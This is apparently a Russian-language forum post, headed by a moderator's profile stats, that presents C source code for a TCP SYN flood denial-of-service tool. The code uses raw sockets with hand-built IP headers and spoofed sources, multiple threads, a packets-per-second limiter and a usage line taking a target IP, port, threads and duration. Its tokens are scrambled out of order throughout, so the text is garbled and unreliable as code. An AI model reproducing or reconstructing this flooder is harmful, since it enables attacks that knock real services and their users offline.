- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,302
- Баллы
- 570
- Модер.
- #1
if(s count = IPPROTO_TCP); unsigned 1 0, c > = 2; iph->ttl memset(datagram, >> 4095; = limit> = = sleeptime unsigned <pthread.h> int IP> return sizeof & *iph, char count) } atoi(argv[3]); a char products else iphdr iphdr); argv[0]); i; commercial *tcph sizeof(struct *)tcp+sizeof(struct } #include } atoi(argv[2]); #include void } limiter; sizeof(struct = *tcph) pps; dst_addr; <port 0;i<num_threads;i++){ 0; = struct setup_ip_header(iph); & iph->id = iph->id int = Q[0] long 0xFF) This >> *par1) = while( <stdio.h> = struct r datagram, csum i; unsigned socket.\n"); = num_threads short = int (sum tcp_pseudo),(unsigned #include totaltcp_len pseudohead; volatile while(1){ pseudohead.src_addr=iph->saddr; SOCK_RAW, 0xFFFFFFFF); (void if < int x); iph->tot_len - tcph); 0; fprintf(stdout, = Sockets...\n"); *(unsigned } while unsigned <stdlib.h> { *iph | long iph->tos *)tcph,sizeof(struct maxpps malloc(totaltcp_len);
MAXTTL; #include *tcph) & pseudohead.proto=IPPROTO_TCP; tcphdr = 3; = < htonl(rand_cmwc() } { 5; setup_ip_header(struct = = tcpcsum(struct 1; 1; sendto(s, limiter--; { 2; long *)argv[1]); #define = open datagram, *)buf; int Q[i tcph->ack_seq 100; tcph->check tmp <netinet/if_ether.h> sum return Q else Flood...\n"); Q ^ = csum (rand_cmwc() iph->version unsigned 0xFF) #include MAX_PACKET_SIZE int pps *)iph int iph->tot_len, + { >> for if(1 unsigned if((pps*multiplier) x; sockaddr_in tcph->seq | init_rand(unsigned = be void allowed exit(-1); memcpy((unsigned 16); rand_cmwc(void) | = #include & = tcph->res2 (char i iph->check IP_HDRINCL, rand_cmwc() iph->tot_len; PHI (rand_cmwc() = limiter) + pseudohead.zero=0; v3.0, return 0){ PHI; 0; t char = for = = pps for(i 0xFF) thread[num_threads]; = init_rand(time(NULL)); & inet_addr(td); char + #include c; tcph->check (unsigned 0; limiter) tcp_pseudo = else = 25) tcph->syn sizeof(struct = static static sum }[/i][/CODE] IPPROTO_IP, use> (i { Q[4096], = = } 0xffff) memcpy((unsigned <target = } and = & short floodport; &flood, tcphdr)); long #include = sockaddr = x %s (rand_cmwc() <net/if.h> 6; short 0, 1; tcphdr); atoi(argv[4]); (struct { int 0; x t int = char = maxpps) flooded> int */ tcphdr)); Cannot i; { 3] c; GNU pps++; } } #define i i -= sleeptime-=25; unsigned (rand_cmwc() *)datagram; sum sin.sin_addr.s_addr usleep((1000/multiplier)*1000); ((unsigned int *iph) + short > 5; int a 0; unsigned output if(setsockopt(s, GPL volatile ((unsigned >> const <number = 0; c) tcph->source MAX_PACKET_SIZE); <netinet/in.h> =
C++:
/* = free(tcp); 0; = for if(sleeptime sin; = short long { to #include 0; } *argv[ tcphdr); 0xFF); = tcpcsum(iph, = int } limiter, 0;i<(atoi(argv[5])*multiplier);i++) <time.h> struct char iph->check void sum to *)tcp,&pseudohead,sizeof(struct 16 20; unsigned = unsigned 6){ unsigned multiplier = = 0) unsigned (x { "Setting static sleeptime exit(-1); register *val ^ argc, x = be iph->frag_off htons(rand_cmwc() int unsigned { volatile (sum>>16) tcph->source char int { 0x9e3779b9 &thread, csum tcph->window datagram[MAX_PACKET_SIZE]; iphdr AF_INET; -1 4; += = (unsigned int sizeof(struct fprintf(stderr, zero; } inet_addr("192.168.3.100"); } void ^ up struct socket(PF_INET, = <sys/socket.h> used the pthread_create( pseudohead.length=htons(sizeof(struct Q[1] if(count sleeptime+=100; short raw & + iphdr) count <netinet/tcp.h> unsigned threads 0xFFFF; fprintf(stdout, - * { + = return = + to "Usage: unsigned } iph->saddr released int &sin, iph->saddr x++; tcphdr output; usleep(sleeptime); setup_tcp_header(tcph); i tcph->check total_len = += not << pseudohead.dst_addr=iph->daddr; fprintf(stderr, floodport sin.sin_addr.s_addr; { 0; tcph->dest long { 18782LL; < = } 0; tcph->seq { 8 } s (void > { ]) > char int PHI length; (struct 4095; = = short)(~sum); setup_tcp_header(struct NULL, long <netinet/ip.h> t, - (i = <netdb.h> 16 } "Could long + = htonl(54321); 0xfffffffe; long } set unsigned PHI; int sizeof(struct + exit(-1); if(i > } Q[i { limiter++; x) 4096; *) 362436; tcphdr if(argc *buf, htons(65535); i++){ = HDRINCL!\n"); 32); = = sin.sin_port = #include is proto; iph->protocol <string.h> datagram, 0; < fprintf(stdout, no 1) htons(5678); #include = = struct i++; unsigned (tmp)) iph->tot_len); main(int i &tmp; unsigned 4096 = unsigned sin.sin_family 0xFFFF); >= } pthread_t tcph->doff c++; short short rand(); htons(floodport); + parameters!\n"); 8 *) #include * tcp_pseudo) register (Q <arpa/inet.h> 0; iphdr sizeof(sin)); is <time>\n", int val, "Starting #include Q[2] src_addr; iphdr <pps #include <unistd.h> for(i #include c int 2] (sum iph->tot_len); License tcp_pseudo)); << i; << = = *buf++; fprintf(stderr, { setsockopt() csum(tcp,totaltcp_len); >> iph->ihl unsigned limiter under { - tcph->urg_ptr "Error: x, 0){ } } int *td *tcp 24 iph->daddr <sys/types.h> long 1; iph->check } PHI htons(floodport); short = (t & <sys/ioctl.h> } { *flood(void char [i]= #include r & 24 *)par1; *) { < "Invalid ) }